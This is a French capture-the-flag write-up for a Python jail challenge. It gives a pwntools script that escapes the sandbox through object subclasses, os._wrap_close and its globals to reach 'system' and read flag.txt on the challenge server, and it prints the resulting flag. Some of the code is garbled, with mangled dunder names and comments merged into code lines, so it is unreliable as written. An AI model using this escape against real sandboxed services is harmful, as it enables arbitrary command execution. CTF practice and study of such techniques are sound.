Challenge Reddingthon
Auteur foundhack
C est un chall de jail python mais qui à beaucoup de restruction
Ex : Pas de []
le nombre d'entrée qui ne dois pas dépasser 59 entrée

```
[Erreur]: name 'ls' is not defined hello 
| Erreur]: name 'hello' is not defined 
| foundhack | ferreur]: name 'foundhack' is not defined 
| ferreur]: name 'foundhack' is name
```

Je trouve la classe « os_.wrap_close » ça reste encore comment écrit le code python poux exploiter la classe « os_,wrap_close » donc j ai juste ecrit ceux code

```
# Se connecter au serveur à l'adresse et au port spécifiés
conn = pwn.remote("135.125.107.236", 27005)

# Définir 'a' comme la classe de base des entiers (ce qui est 'object')
conn.sendline(f"_builtins_._setitem_(\"a\", (1)._class_._base_)".encode()

# Remplacer 'a' par la liste des sous-classes de 'object'
conn.sendline(f"_builtins_._setitem_(\"a\", a._subclasses_())".encode())

# Remplacer 'a' par la 133ème sous-classe de 'object' (ce qui est 'popen')
conn.sendline(f"_builtins_._setitem_(\"a\", a._getitem_(133))".encode())

# Remplacer 'a' par la méthode '_init__' de la classe 'popen'
conn.sendline(f"_builtins_._setitem_(\"a\", a._init__)".encode())

# Remplacer 'a' par les variables globales de la méthode '_init_'
conn.sendline(f"_builtins_._setitem_(\"a\", a._globals_)".encode())

# Remplacer 'a' par la fonction 'system' disponible dans les variables globales conn.sendline(f"_builtins_._setitem_(\"a\", a.get('system'))".encode())

# Exécuter la commande 'cat flag.txt' en utilisant la fonction 'system'
conn.sendline(f"_builtins_._setitem_(\"a\", a('cat flag.txt'))".encode())

# Envoyer 'a' pour exécuter la commande et interagir avec la connexion conn.sendline(f"a".encode())

# Passer en mode interactif pour voir la réponse du serveur conn.interactive()
```

```
(kali@ kali)-[~/Bureau]
$ python3 kai.py
[+] Opening connection to 135.125.107.236 on port 27005: Done
[*] Switching to interactive mode
None
None
None
None
None
HLB2024{builtin_breaK_the_JAIL}
None
0
```